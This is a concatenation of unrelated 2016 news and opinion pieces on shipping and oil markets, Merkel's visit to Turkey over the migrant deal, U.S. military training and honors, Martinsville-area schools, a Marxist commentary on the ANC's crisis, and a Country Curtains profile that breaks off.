The U.S. shipbuilding and repair industry supports more than 500,000 jobs nationwide and contributes more than $39 billion annually to the U.S. economy. According to the U.S. Maritime Administration, there are direct or induced U.S. shipyard jobs in all 435 Congressional districts.
Pillarstone Italy, owned by U.S private equity firm KKR, will take on the bulk of the debt owed by Italy's Premuda to a group of banks, in a first move that could make Pillarstone one of the main shareholders of the shipping company.

Under the deal, Banca Carige, UniCredit and Intesa Sanpaolo will transfer around 250 million euros ($281 million) in loans to Pillarstone, making it the main creditor of Premuda, a spokesman for the KKR unit said on Friday.

"Pillarstone will enter talks with other creditor banks to reach a final deal aimed at restructuring the whole debt," Premuda said, referring to its total net debt of 320 million euros at the end of 2015.

It added that a part of the debt held by the KKR unit could be converted into shares.

Headed by former Royal Bank of Scotland executive John Davison, Pillarstone said it would inject fresh funds into the indebted group, which recorded a loss of 81 million euros last year. Shares in Premuda closed at 0.1332 euros, up 21 percent on Friday.

The deal with Premuda is part of a broader strategy by Pillarstone to gain control of ailing Italian mid-cap companies by absorbing their debt from creditors and turning them around.

In 2015, the investment unit took on the debt of five companies including paper makers Burgo and Lediberg and theme parks manager Alfa Park.

Pillarstone is also expected to acquire a majority stake in Italian telecoms engineering group Sirti in the next few weeks from Intesa Sanpaolo and a group of private equity investors. .

(Reporting by Francesca Landini and Massimo Gaia)
British BP has shipped a U.S. crude cargo to PDVSA's terminal in Curacao, the third one that the firm has sent since winning a tender along with China Oil last month to provide the Venezuelan state-run company with some 8 million barrels of light oil, according to sources and Reuters data.



Venezuela started regular crude purchases last year and since then it has been launching tenders on the open market for at least one monthly cargo. In March it decided to secure provisions for the whole second quarter, doubling crude imports to some 95,000 barrels per day (bpd).



The tanker NS Century chartered by BP loaded crude this week at Beaumont and Port Arthur, Texas, on the U.S. Gulf Coast and set sail to PDVSA's Bullenbay terminal on the Caribbean island of Curacao. It is scheduled to arrive on April 28.



Another three tankers loaded with crude and dirty products loaded on the U.S. Gulf Coast are waiting to discharge at Bullenbay amid a backlog of vessels around some PDVSA's ports due to equipment failure at its main oil terminal, Jose.



The Aframax tanker Krymsk, sent by BP as first delivery from the light crude tender, has been waiting to discharge since April 6. Tankers Angelica Schulte, which arrived in Curacao on April 17, and Paramount Hatteras, which arrived on Friday, also have not discharged.



A shipper close to the sale said one of the cargoes could contain vacuum gasoil (VGO) for PDVSA's Isla refinery in Curacao.



BP must deliver 2.7 million barrels of U.S. West Texas Intermediate crude to PDVSA in April in cargoes of 550,000 barrels each, and it also will provide 2.7 million barrels of Nigeria's Qua Iboe crude in May-June.



For its part, China Oil, which last week delivered its first WTI crude cargo to PDVSA after a nine-day wait, must send 2.7 million barrels of U.S. crude, according to the tender's terms.



But deliveries might not be made on time if delays persist. As of April 22, 16 tankers were waiting to load and discharge at Jose port and other 14 vessels were anchored around Curacao. Wait time has double to at least seven days, from a standard of three to four days, according to Thomson Reuters vessel tracking data.



PDVSA has said Jose port is working without delays.



Reporting by Marianna Parraga
American Tugboat, Towboat and Barge Industry Urged Support for American Jobs, Vessel Discharge Reform, and Waterways Infrastructure.



Members of the American Waterways Operators, the national trade association representing the tugboat, towboat and barge industry, called on Congress on Wednesday during AWO's annual Barge-In event, where more than 160 vessel owners and operators held 220 meetings with lawmakers in the Senate and House of Representatives.



"AWO members play a vital role in ensuring the safe, secure and efficient movement of the nation's critical cargo," said Tom Allegretti, AWO President & CEO. "The tugboat, towboat and barge industry directly employs tens of thousands of workers while supporting the jobs of hundreds of thousands more and providing valuable support for homeland and national security. We wanted to ensure that Congress understands the value of our industry to the nation and the importance of our key public policy priorities."





Support for the Jones Act

AWO members urged Congress to continue to strongly support the Jones Act, which requires that vessels moving cargo in U.S. domestic commerce be owned, crewed, and built by Americans. With the Jones Act as its statutory foundation, the domestic maritime industry supports nearly 500,000 family-wage jobs and almost $100 billion in economic output. Today, more than 40,000 American-owned vessels  the majority of them tugboats, towboats and barges  move essential commodities safely and efficiently on our rivers and along our coasts. U.S. military leaders strongly support the Jones Act for its role in maintaining our nation's shipbuilding industrial base and sealift capability and the force multiplier provided by American mariners who serve as the eyes and ears for the U.S. Coast Guard on our waterways.



Vessel Discharge Reform Legislation

Among AWO's top priorities this year is securing passage of the Vessel Incidental Discharge Act. S. 373/H.R.980 would replace a patchwork of overlapping and conflicting federal and state regulations with a uniform, science-based federal framework for vessel discharge regulation administered by the U.S. Coast Guard. Passage of this much-needed legislation will fix a broken regulatory system that hinders maritime commerce, stifles business investment and wastes taxpayer money on duplicative and overlapping regulations.





Ensure Reliable Inland Waterways Infrastructure

AWO members urged Congress to maintain investments in infrastructure while opposing policies that would hinder or halt commercial navigation. A reliable inland waterway infrastructure is essential to America's domestic commerce and international trade. Every year, barges safely and efficiently carry almost 800 million tons of economically critical cargo, including agricultural products, petroleum, chemicals, coal, steel, cement, and containerized cargo.
Number of MidEast charter fixtures less than usual; Basra crude exports set to fall in May.



Freight rates for very large crude carriers (VLCCs) will come under further pressure next week if the current sluggish chartering activity continues, ship brokers said on Friday.



Charter rates from the Middle East to Japan fell about 9 points on the Worldscale measure this week as an expected raft of fixtures for loading in Basra and Saudi Arabia failed to materialise, brokers said.



That was equivalent to a drop in earnings of $8,800 per day, according to chartering data on the Reuters Eikon terminal.



"The market dipped sharply," said a European supertanker broker on Friday. "What's puzzling everybody - owners, brokers - is why it's so quiet in the market when Saudi Arabia, Iraq and Russia are still pumping oil."



Around 20 fixtures were reported last week for loading in the Middle East in the first 10 days of May, compared with around double that number in a normal month, brokers said.



"May is starting very, very slowly," a second European supertanker broker said. "It's impossible to call" how the market will develop next week, the broker said.



Trade sources expect total crude exports from Basra to fall to 3.085 million barrels per day (bpd) in May, the lowest this year, following loading delays at the south Iraqi terminal.



Although vessel delays at ports in Basra and China have eased, worries about congestion continue to add to market uncertainty, brokers said.



"Activity remains very sluggish and charterers have held back. Owners are still waiting for activity to pick up but rates remain under pressure for now," said Norwegian ship broker Fearnley in a note on Wednesday.



"Anticipation for the Saudi stem confirmations was high but has so far been a non-event," the Fearnley note added.



VLCC rates from the Middle East to Japan fell to about W60.25 on Thursday, down from W68.25 a week earlier.



Supertanker rates from West Africa to China dropped to about W64.25 on Thursday, against about W68.25 last Thursday.



"West African cargo volumes are very sluggish as well," the first European broker said.



Rates for an 80,000-dwt Aframax tanker from Southeast Asia to East Coast Australia fell to W110 on Thursday, the lowest since Feb. 16, from W118 on the same day last week on weaker demand, brokers said.

Reporting by Keith Wallis
German Chancellor Angela Merkel will use a visit to Turkey this weekend to try to soothe tensions over a deal meant to stem the flow of migrants to Europe as questions about its effectiveness and long-term viability mount.

The pact, which came into force almost three weeks ago, aims to help end the chaotic arrival of migrants and refugees on the Greek islands, many fleeing war and poverty in the Middle East and Africa. More than one million reached Europe last year.

The deal initially slowed the numbers of new arrivals to Greece sharply, but boats have been coming again with about 150 people a day, indicating the "hermetic sealing" of the route appears to be over, the International Organization for Migration (IOM) said.

Merkel will pay a one-day visit with European Council President Donald Tusk to Gaziantep near the Syrian border on Saturday, where the two leaders are expected to go to a refugee camp for Syrians and meet Prime Minister Ahmet Davutoglu.

There is much at stake for both sides. Merkel lobbied sceptical European partners to back the deal, under which Turkey agreed to take back migrants who cross the Aegean Sea illegally, and is under political pressure at home to show progress.

Davutoglu sold the deal to the Turkish public partly on the basis that Turks would win quicker visa-free travel to Europe in return, a pledge that now could go unfulfilled, at least by the June deadline he had wanted.

Merkel's also faces criticism at home for allowing a German comedian to be prosecuted for insulting Turkish President Tayyip Erdogan.

"It is both sides that have a strong interest in making this work. Turkey wants support in easing the refugee burden - both financial support and in terms of numbers. And they want visa liberalisation. We have other interests," a Merkel aide said.

"Ultimately it will depend on both sides fulfilling the criteria they need to. If that doesn't happen the deal won't work."

Rights groups have questioned the legality of the deal, which hinges on Turkey being a safe country of asylum. Amnesty International says Turkey has illegally returned Syrians to their war-torn homeland, a charge Ankara denies.

"There is no photo-op that can obscure the deep flaws in the EU-Turkey deal," John Dalhuisen, Amnesty's Director for Europe and Central Asia, said of Merkel's visit.

Under the deal, Ankara gets more EU funding for refugees living on its soil and the revival of long-stalled EU accession talks, as well as the quicker visa liberalisation, the main prize in the eyes of many Turks.

But European Commission President Jean-Claude Juncker said this week that Turkey must meet all 72 conditions for visa-free travel and the EU would not water down its criteria, rebuffing a warning from Davutoglu that Turkey would no longer need to honor the deal if the promises were not met.

"Merkel is coming tomorrow to soothe both sides," said Elif Ozmenek, a migration expert at the Ankara-based USAK think tank.

Comedian

Erdogan has also put Merkel in a difficult position by demanding that Germany press charges against a comedian who recited a sexually crude satirical poem about him on a German public broadcaster last month.

Merkel's decision to let prosecutors pursue a case against Jan Boehmermann angered many Germans, who saw it as a sop to an authoritarian leader.

"As much as Davutoglu is trying to make this work, Erdogan seems to be going out of his way to test the limits of what he can get away with," a senior German official said.

"He is showing that he can do anything he wants, testing our reactions. That will be very difficult to handle."

A survey released on Friday showed that more than three in five Germans disapproved of Merkel's decision to agree to Turkey's demands over the comedian's case.

The poll was published by ZDF, the channel on which Boehmermann recited a poem suggesting Erdogan indulged in sexual perversions.

Merkel has allowed prosecutors to pursue the case under a section of the German criminal code that prohibits insults against foreign leaders.

The ZDF also poll found that 80 percent of respondents doubted Turkey is a reliable partner in the migrant crisis. Eight in 10 said Merkel respects Erdogan "too much".

Rights groups and some European politicians had already accused the EU of compromising its principles by striking the deal with Turkey at a time when its record on freedom of expression appears to be deteriorating.

Tusk said on Friday that the EU could discuss money to secure Ankara's help on migration but that the bloc's values, including freedom of expression, were non-negotiable.

"Recent experience with Turkey shows Europe must set clear limits to its concessions," Tusk said in an editorial published by seven European papers.

A senior Turkish government official said the Boehmermann case was likely to be discussed during Merkel's visit but that the main focus would be on relations with the EU and implementing the migrant deal, including how a promised 3 billion euros ($3.4 billion) in funding would be spent.

"We may not be able to say there is total agreement on everything between Turkey and the EU, but it is clear that there is common will. We're not expecting a troublesome visit," the official said.

By Tulay Karadeniz and Noah Barkin
A Coast Guard boatcrew was hit by a green laser light while underway near the Squalicum Harbor area of Bellingham, Wednesday night, ending a valuable training opportunity due to medical concerns.



The crew aboard a 45-foot Response Boat - Medium, from Coast Guard Station Bellingham, had to return to base and a backup boatcrew had to be called to stand the remainder of the watch.

Watchstanders at Coast Guard Sector Puget Sound were notified of the incident by the affected boatcrew at 8:30 p.m. The incident cancelled the scheduled routine operations with a helicopter crew from Air Station Port Angeles.



"Boat and helicopter operators can be temporarily blinded by green laser lights during night operations," said Cmdr. Brian Meier, Sector Puget Sound Response Department head. "There have been several laser light incidents in Washington involving not only our crews, but commercial operators as well. As a safety authority, we are very concerned about these incidents causing accidents or delaying emergency responses."



The local harbor security office and Watcom County police responded to the location near Boulevard Park, but were unable to locate the suspected violators.



Anyone having information about this incident or other green laser light incidents are encouraged to contact their local Coast Guard unit or local law enforcement.


The U.S. Special Operations Command inducted five former special operators into the USSOCOM Commando Hall of Honor located at the USSOCOM headquarters, MacDill Air Force Base, Florida, April 20. More than 100 people attended the ceremony to honor the inductees and watched as each of the inductees received a medal from Army Gen. Raymond A. Thomas, USSOCOM commander, and Command Sgt. Maj. William F. Thetford, USSOCOM command senior enlisted adviser.



This years inductees were Army Maj. Caesar Civitella, Marine Corps Col. Robert Coates, Marine Corps Master Sgt. John Mosser, Air Force Col. Billy Rusty Napier, and Army Maj. Thomas Powell.



Civitella was an original member of the Office of Strategic Services during World War II and did combat jumps into Italy and France. His career continued as a Special Forces officer retiring at the rank of major. He then joined the Central Intelligence Agency supporting paramilitary operations for nearly 20 years.



Coates career spanned 33 years and he commanded reconnaissance platoon, served as commanding officer, U.S. Marine Corps Forces, Special Operations Command Detachment One and served two tours of duty with the CIA.



Mosser distinguished himself during a myriad of special operations assignments in his 20-year career culminating as the future operations chief, 2d Marine Raider Battalion. He served as a special operations team sergeant and team chief during two combat deployments in Operation Enduring Freedom.





Napier spent 42 years in special operations as an Air Force officer or in the corporate world working aircraft equipment acquisitions for Special Operations Forces. A master navigator with more than 6,000 flying hours, Napier was awarded with three Distinguished Flying Crosses and Mackay flying trophy for leading an AC-130 sortie into the Panama invasion.



Powell served in special operations from 1965 to 2015 culminating his career as a senior intelligence analyst for Joint Special Operations Command. He earned the Distinguished Service Cross for his valorous actions during the attempted rescue of prisoners of war held in the Son Tay, Vietnam prison.



The newest members will join other recognized warriors in the Commando Hall of Honor, which includes such legendary names as; Aaron Bank, Charles Beckwith, Ted Lunger, Sidney Shacknow, and William Darby. Their contributions and legacies to the special operations community and this country have been unquestionably influential and are truly inspirational.



A perk I enjoy is the ability to single out individuals for their performance and today is a great opportunity to do so, in terms of inducting five truly historic members of Special Operations Command into our Commando Hall of Honor, said Gen. Thomas, commander, U.S. Special Operations Command.



Each new inductee, received a Commando Hall of Honor Medal and a crystal commemorative induction plaque, but the day was about something greater than tangible items.



Its a huge honor to be selected for this award, this is a very special organization of amazing people and just to be considered worthy to be amongst those type of heroes is a huge and humbling honor, said Mosser.





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Marines with 3rd Battalion, 2nd Marine Regiment conducted training to improve their abilities communicating and working together as a squad at Marine Corps Base Camp Lejeune, North Carolina, April 20, 2016.



Known as buddy rushing, the Marines made movements within a fire team toward the opposing force to assault and destroy the enemy. While one Marine engaged the enemy, another moved his position forward.



Buddy rushing is a way for us to gain ground, said Nicholas Frantz, a grenadier with the battalion. We repeat the process until we get to our desired location.



Marines took turns bounding to a forward position while looking to their fire team leaders, as well as their squad leader, for commands. Fire team leaders must pass commands throughout their team on what their next move is in order to control and direct.



Communication is huge for this sort of training, and it allows team leaders and their squads to work together and better understand how they would cooperate on a battlefield, said Sgt. Alexander Johnson, a squad leader with the battalion.



The environment in which the Marines trained on included micro terrain, a surface which contains convex and concave features, which enabled the squad leader to easily oversee the Marines actions.



After the exercise was complete, the Marines consolidated to discuss their strengths and what they hope to improve on.



Its important we do this training regularly in order to keep up with what weve learned, Frantz said.



On the squad level, it is crucial the Marines perform to the utmost standard, for they are a small part of the pyramid of which the Marine Expeditionary Force is made up.



The squad is the base of everything. When the squad is aware of what it can accomplish, it improves the MEF as a whole, and then the MEF can depend on all its squad leaders to make things happen, Johnson said.
Wading through chest deep water, narrowly avoiding notional improvised explosive devices, U.S. Marines with 2nd Battalion, 8th Marine Regiment conducts an attack evolution aboard Camp Lejeune, North Carolina, April 20, 2016.







Today we conducted an attack evolution incorporated with physical training in order to prepare ourselves for the rigorous attacks that we are going to perform during our Integrated Training Exercise, starting next week, said Cpl. Casey Mansfield, a squad leader with the battalion. The main purpose was to get them uncomfortable and get that unknown factor of whats going to happen next while under the stress of being wet and cold.







During the training evolution, the Marines were tasked to complete the basics of being an infantryman. They conducted patrols, eliminated enemy targets and executed a casualty evacuation.







The best thing I saw [during the exercise] was that we were all from different squads, so we all had to morph together, but the teamwork and the unit cohesion was there, said Lance Cpl. Thomas Svrjcek, a rifleman with 2/8. It showed that as a platoon, not just a squad, we can all work together.







After each exercise concluded, intelligence was gathered giving them information about either an enemy patrol or a fortified enemy position. The Marines then had to maneuver to the location and conduct the ambush or attack, all while remaining silent and vigilant of any enemy threat.







The Marines will be conducting an Integrated Training Exercise at Twentynine Palms, California, this May. They will be conducting offense and defense exercises, as well as Military Operations in Urban Terrain in preparation for their deployment in support of Special-Purpose Marine Air Ground Task Force  Africa later this year.



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New College Institute (NCI) officials are striving to recommend to Gov. Terry McAuliffe more local business and industry representatives to serve on the schools board when seats become vacant in the future.

The governor is responsible for appointing people to the board.

Our mission is unique within higher education, said Chief Academic Officer/Acting Executive Director Leanna Blevins, in that NCIs academic programs are designed to provide people skills and training needed to be successful in jobs with area businesses and industries.

Therefore, having more business and industry people on the board would enable NCI to better gauge firms needs as the state-supported institute strives to determine its future strategic direction, members of the boards executive committee indicated during a meeting Thursday morning.

The board currently has 11 members. Among them are two educators, four state lawmakers, a retired industrial engineer, a retired health care executive and a Goodwill Industries workforce center manager in the Lynchburg area.

Mark Heath, president and chief executive officer of the Martinsville-Henry County Economic Development Corp., is vice chairman of the board and a member of its executive committee. Having served two consecutive terms, he is not eligible for reappointment when his current term expires at the end of June.

Heath told the executive committee that he is trying to find somebody to replace him. He told Gracie Agnew, chairwoman of the board and the committee, that he will give her a list of potential replacements soon, as soon as he finds out whether the people who he has in mind are interested in serving.

He would not name any of those people, but he said their names should be obvious when he presents them.

Board and executive committee member Marshall Stowe, a retired banker and former executive director of the Martinsville Uptown Revitalization Association, is nearing the expiration of his current term but he is eligible to be reappointed.

However, Id be glad to give up my seat to make room for a business or industry representative since he is retired now, he told the committee.

Agnew thanked him for his concern but told him we need you on the board.

During a meeting of the full board last week, board members said that NCI, now in its 10th year of operation, must determine its future strategic direction. On Thursday, Agnew asked Blevins to create a list of options for the full board to consider when it meets again in June.
Henry County Public Schoolsis one of fifty-two divisions across the Commonwealth that has programs featured in the Virginia School Boards Association Showcases for Success directory. With the association celebrating its 20th annual edition of the information bank, Henry County has two features in the listing.

According to a Henry County release and the VSBA website, Jerry Byrd's HVAC students at Bassett High School have spent time updating and repairing school division equipment, creating and modifying mechanical items for community members, and sharing the importance of air filter and HVAC maintenance with the community. This program reaches Bassetts Green Ribbon Schools initiatives; students gave away filters and shared advice with community members at the Bassett Heritage Festival. Bassett students also provide on-going support for community members who consult them. Bassett High School students in the HVAC program are focused on aiding others with their talents and look forward to using the skills they're learning in class as they move into careers that are central to the function of the local community.

Additionally, the release and website state that students in Deborah Barkers horticulture program at Magna Vista High School learn the daily operation of a greenhouse. From growing the plants themselves to marketing their products, students experience the ins and outs of a nursery business. Participants produce flowerbed components, holiday wreaths, poinsettias, seasonal corsages, decorations, and arrangements. In addition to running a self-sufficient program in a state-of-the-art greenhouse, students also put on an annual wedding show and provide decorative balloon art and floral arrangements for community events. The release says that the skills the Magna Vista High School students are learning in both the greenhouse and the accounting office are preparing them for lucrative futures.

Workforce readiness is a very important topic being discussed among education and business leaders, and the VSBA Showcases for Success directory illustrates that there are excellent programs and initiatives taking place in Virginias public schools, Gina G. Patterson, the VSBA Executive Director said.

The full VSBA Showcases for Success directory is available at vsba.org/showcases.
The Martinsville chapter of National Society of Black Engineers (NSBE) has been named Chapter of the Year, and one of its members, Bryan Rucker, was honored as NSBE Male Student of the Year.

The honors were given during the NSBE National Convention at the end of March in Boston. Ruckers recognition led to a Presidential Scholarship to Virginia Tech, said Chapter Director Helen Howell.

We didnt know we were going to get that until we got there, Howell said. It is a great honor to get there. We have a huge trophy. We are going to be put on the front cover of The Bridge, NSBEs national magazine.

Thirty-eight students attended the five-day trip in Boston. They left in a high mood, buoyed by the excitement of having a front-page newspaper article on their NASCAR team the day before, Howell said.

For winning NSBEs Male Student of the Year, Rucker won a $4,000 scholarship and a trophy.

Were just so thrilled about that, Howell said. He was the fifth (local) student who has received the award in the 17 years we have been in existence. She added that he is the chapters third winner of Male Student of the Year, and the chapter has had two winners for Female Student of the Year.

He was selected from students all over the nation, and that was a really tough competition because they have to talk about all of the activities that they have participated in since theyve been in NSBE, Howell said.

Rucker started NSBE in seventh grade, which made the list long. He had to submit letters of recommendation, an essay on why he should receive the award, schools transcripts and documentation of their activities, office positions in organizations and community service activities. Also, he wrote about what he plans to do after high school graduation.

Its practically like applying to college, with everything you have to submit, Rucker said.

When they see students like that, a lot of colleges come after them, Howell said. Were very excited that Virginia Tech gave him a full ride for four years.

Rucker said he was just really blown away at that fact of winning Student of the Year. It was a week later that he learned about getting the Presidential Scholarship.

I dont think I applied to it, he said. I think its just something they give to deserving students. I was absolutely amazed at that. I was so happy.

Rucker is the son of Nicole Rucker of Martinsville and the late Mark Rucker and the grandson of Joan Spencer and Robert Spencer of Laurel Park.

He plans to study business  hospitality management in college, with the goal of owning a restaurant one day.

NSBE chapter members in third through fifth grade had their own little conference, Howell said. They all won medals.

The conference for younger students is not competitive, she said. The emphasis instead is on participation. A scientist worked with the students on a variety of projects, and the student rode in a hovercraft. Each student received a science kit to take home.

Also at the conference the chapter had a Math Counts team, part of a program for middle-schoolers, and one science fair participant.

While they were in Boston, the students spent a day touring at Harvard and MIT. That was an experience, Howell said. The kids love it  Just being on that campus and seeing all that history, at both campuses, was just more than what theyve ever seen before.

Rucker praised Howell for all she has done for him and the other students. She is quite possibly the most amazing woman I have ever met, he said. I honestly dont even know if she sleeps. She devotes so much of her time to the kits that its just amazing. Even though shes retired, it seems like shes going more now than she did when she was teaching.

Since they were there also for Easter, a church sent a chartered bus to their hotel to bring them to a full breakfast, worship service and an Easter play. The bus driver, a retired police officer, gave a tour of the area on the way to church and back.

The group flew to Boston and returned to Martinsville on a train. It was really great, Howell said, because most of our people had never been on a train before.
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When arguing the Nkandla case, President Jacob Zumas senior advocate, Jeremy Gauntlett, said that this was a delicate time in a dangerous year, societally and that the Nkandla saga has traumatised the nation in many ways- a profound statement which sums up the current state of mind of the ruling class.

Gauntlett asked the eleven judges of the Constitutional Court not to make a wide condemnatory order saying that Zuma has violated the constitution by not complying with the Public Protectors report on the Nkandla matter. The above reasons which Gauntlett gave to the court are essentially political.

One of the reasons Gauntlett had to resort to political posturing was that Zumas legal defence was so obviously weak. Zuma roped in Gauntlett only weeks before the case was scheduled to be heard. By that time it was already too late and the damage too great even for this legal wizard to solve.

He told Zuma that he [Zuma] could fight the Constitutional Court case, and crash and burnor he could be bold, accept that there had indeed been a mess-up regarding Nkandla and make an offer beforehand to calm the storm, says the Sunday Times (7/2/2016) of the advice Gauntlett gave Zuma beforehand.

Subsequently, Zuma not only lost the case and thereby crashed and burned spectacularly, he also lost all his credibility and authority, and with this he has plunged the African National Congress into its deepest crisis ever.

Jeremy Gauntlett is not just any senior counsel. He is the countrys highest paid advocate. He belongs to those layers of the upper middle class whom the big bourgeois calls upon for advice and with whom they work, hand-in-hand, on a daily basis. In his work as special legal counsel, he operates in close proximity to the leading lights of the ruling class and share their habits, thoughts, and general mentality. Therefore, this little sentence of dangerous times gives us a clear insight into the current mentality of upper echelons of the ruling class.

This general fear on the part of the big capitalists is clear to see, in the manner they are dealing with the junior capitalists. The decision by all the major banks of the country to summarily shut down the accounts of Oakbay, the company which runs the Gupta familys empire, is a desperate attempt to rein in the more openly corrupt upstart capitalists who, through their recklessness, have put the real inner workings of the system under the microscope. It is an attempt by big capital to lessen the influence that the Guptas have on Zuma and other leaders in the ANC before it all explodes violently.

This little episode is an indication that the ruling class is losing control of the situation. For the last two decades the bourgeoisie has ruled society indirectly through the leadership of the ANC. Now the ANC is deep crisis. At the same time, their own forces, like the Democratic Alliance, are too weak and have no real base among the masses. No matter how hard they try, they continue to be seen as a remnant of the apartheid regime. No matter how disillusioned the masses are with the ANC, they quite rightly see the DA as an even worse alternative. This leaves the bourgeoisie weak politically. This is also one of the main reasons why big capitalists are (for the first time in two decades) intervening directly in an attempt to stabilise the situation.

These developments play themselves out ahead of the local government elections, which will be held on 3 August this year. The ANC itself kicked off the elections season with the launch of its elections manifesto on 16 April in Nelson Mandela Bay metro, which includes Port Elizabeth. These mass events are usually not a challenge for the ANC. They usually tend to generate mass support and high enthusiasm. But that was not the case this time. Despite the ANC bringing its entire national leadership to the launch, the response was at best lacklustre, and at worst extremely embarrassing.

Three days before the manifesto launch, the partys Deputy Secretary General, Jessie Duarte, had to face the wrath of branch leaders of the Nelson Mandela Bay metro at a meeting in KwaZakhele township. The branches of this traditional ANC bastion fiercely protested the national leaderships stance to keep Zuma in office after the Nkandla debacle, and accused the national leadership of making a mockery of the ANC constitution. Earlier the provincial leadership of the Eastern Cape declared that the province was fully behind Zuma. But the rebellion of the branches now indicates that the province is deeply divided and that the leadership is desperately trying to keep a tight lid on the situation.

Elsewhere, Social Development Minister Bathabile Dlamini was reduced to tears when confronted by angry residents of New Brighton in Port Elizabeth. She was there to open a drug treatment centre, but residents turned on her and complained about a lack of jobs for locals. The angry residents completely encircled the hapless minister, hurling insults at her and accused her of smelling of expensive whiskeya clear class reference. But this incident is also an indication of something more than the local issues. Dlamini, as the President of the ANC Womens League, has been Zumas biggest supporter in the party and has gone to extreme lengths in his defence. The video of this incident has gone viral almost instantly and has been met with hardly any sympathy for the minister.

In another incident, only a handful of people turned up to listen to ANC Youth League President Collin Maine at the Nelson Mandela Metropolitan University. After waiting for more than an hour, Maine decided to address those who had gathered from the big elections truck. But even those who had bothered to show up did not appear to be much impressed with what he was saying. Instead, they were more interested in tapping their mobile phones and having conversations among themselves. All of this is extremely embarrassing for the Youth League, considering that the university protests are currently the most visible scenes of the class struggle. In the past, apart from unions, the League was the ANCs biggest mobilisation force. In all the previous elections it was at the forefront of leading the campaigns and turning the masses out to vote.

But this was not a glitch or an isolated incident for Maine. Maine is widely seen inside the ANC as a stooge of Zuma, and has openly come to the defence of the Guptas. In the latest incident, he arrived at the offices of ANN7, the Gupta-owned television channel (which now faces a shutdown after the banks closed its accounts), to speak to the staff. But the workers turned on him, hurling insults and profanities at him and chasing him away. To make matters worse for Maine, all of this was captured live on primetime television.

This shows how steeply the once powerful Youth League has fallen. This is the arm of the ANC which, under the leadership of Nelson Mandela, Oliver Tambo, Walter Sisulu, and Anton Lembede, turned the ANC towards the masses in the 1950s and made it a mass liberation movement. But todays Youth League leaders like Maine are a far cry from the leaders of the past.

Much has been said about the weaknesses of the Youth League of todayits inability to organise the masses, the clownish behaviour of its leaders like Maine, the incompetence, etc. But these have their roots in the objective situation: the Youth League of the past had always attracted the best elements of the South African youth. But after the 2012 Mangaung conference, the entire organisation was disbanded by the ANC leaders because their campaign to nationalise the countrys mines was becoming too dangerous for the bourgeoisie. The top leadership of the league was expelled, and the organisation was purged of some of its best leaders. When it was relaunched subsequently, it was stripped of its militancy and shaped into a compliant lapdog of Zuma and co. Meanwhile, those leaders who were kicked out of the ANCYL, Julius Malema and Floyd Shivambu being the most prominent ones, have formed the Economic Freedom Fighters and are now attracting some the best layers of the youth to their side, while the ANC itself has been beset by one crisis after the other, and expressed in the promotion of mediocre leaders like Collin Maine.

The ANC manifesto launch itself, which was broadcast on television, turned out to be a big flop. The ANC promised an extraordinary event. It organised thousands of buses and taxis to bring the crowds to the Nelson Mandela Bay Stadium, and anticipated that around 110,000 people would pitch up the event. In the end, it was announced that only around 42,000 people turned out at the stadium. The partys chairperson, Baleka Mbete, comically tried to raise the figure to 46,000, as if that would make any difference.

But scores of supporters refused to enter the stadium, for various reasons. Some were unhappy with the ANCs decision not to take action against Zuma, while others felt tired of empty promises and corruption in the party. Zuma presented the manifesto with lots of empty chairs around the stadium. Those empty chairs became even more visible as some supporters walked out of the stadium even as the Zuma was delivering his speech. Some of these supporters even went to the beach at the time when Zuma was speaking.

On the stage there was a somber mood, as leading party members sat ashen-faced. Zuma himself seemed oblivious to the spectacle surrounding him. The symbolic coincidence of empty chairs and empty promises seemed lost on him as he was enthusiastically singing and dancing on the stage and putting on a great show for his loyal supporters. This spectacle gave good expression to the Ancient Greek saying that those whom the gods which to destroy, they first make mad.

Later, Nomvula Mokonyane, who heads the election campaign, announced a probe into the fiasco and declared that heads will roll over the missing 70,000 people who did not pitch up at the stadium.

In this farcical-comical manner, the 2016 elections season was kicked off. But the bourgeoisie, especially the traditional section of this class, are unlikely to see the lighter side of all of this. They will understand what all of this means. These are dangerous times for the ruling class indeed.

All the contradictions of South African society come to the front in a violent and sudden manner, giving way to a highly charged political atmosphere. All these incidents are indications of a deep malaise in society, and a seething undercurrent of discontent which is pervasive across South African society. They are what Marxists call the molecular processes of revolution. These are the thousands of incidents which happen every day in society. The majority of people, caught up in the daily struggles, see these only in an individualistic wayas personal suffering. Others who come in contact with the broader community begin to generalise and see it as part of the struggle of the whole community. But even here, the problem is often seen as a local problem of the community. This is the basis for the explosion of community protests over the last few years around local issues.

Communities often see the problem as the fault of this or that local leadera councillor, a major or corrupt municipal official. What the ruling class fear most is that these community protests become a generalised national mass movement. This is essentially why the ruling class is so worried about the crisis in the ANC. They fear that as the legitimacy of the ANC leaders declines, there is no one to hold back the masses. If the present situation leads to a national mass movement against all the corruption and incompetence of ANC leaders, it could rapidly move towards the masses realising that the root cause of their suffering is the whole system, and not just the fault of individuals.

This years local government elections will be unlike anything we have seen since the ANC became the governing party in 1994. In the past, elections were always very predictable. On the back of support from the massesand a lack of a mass alternative on the leftthe ANC would always come out victorious. But now the dynamics have changed, and the former liberation movement goes into the elections with the ground shaking under its feet.

The runup to these elections comes on the back of vicious class struggle over the last period. Violent mass outbursts of anger express themselves daily. The ongoing student protests are the most recent expression of this. But unlike in the past, the ANC was not challenged in any way on the electoral plane. Now, with the Economic Freedom Fighters challenging them from the left, they face their toughest elections challenge in 22 years. Two years ago, the EFF entered the national elections as a 6-month-old organisation with hardly any branches or a party apparatus. But in the last two years, it has transformed South African politics through its left-wing militancy. In the process, it has become a mass party, which has provided an outlet for some of the enormous anger in society, especially among the youth.

Of course, the outcome of the elections is not set in stone. Marxists have no illusions in bourgeois elections and capitalist democracy. Lenin explained that capitalist democracy is a democracy that is curtailed, wretched, false, a democracy only for the rich, for the minority. Marx and Lenin have explained that at best, bourgeois elections are a useful gauge to measure the mood of the masses. In the present context, however, the upcoming local government elections could become a focal point in which the mass anger and frustrations of the workers, students, and the poor could spill over. This could be expressed in different ways, either in a mass increase in strikes, protests, and demonstrations, a mass stayaway, or a sudden swing towards the EFF. These are the dangerous scenarios the ruling class are so afraid of. It could change the entire situation in a sudden and radical way. In turn, this could embolden the masses even more and push the class struggle onto a much higher level. The ruling class have a right to be worried.

Source: South Africa - Revolution
LEE -- Ask Celia Clancy, the new president and CEO of Country Curtains, if she's gotten a new set of window treatments for her home since taking the job and she'll smile broadly.

"Not yet. But I've measured," she said.

That sense of fun associated with curtains, shades and with interior decorating in a broader sense is part of the culture at Country Curtains. Jack and Jane Fitzpatrick founded the company with a simple unbleached muslin curtain sold by mail order from the kitchen table, and grew it in Stockbridge and Lee over many decades as Berkshire County a fixture.

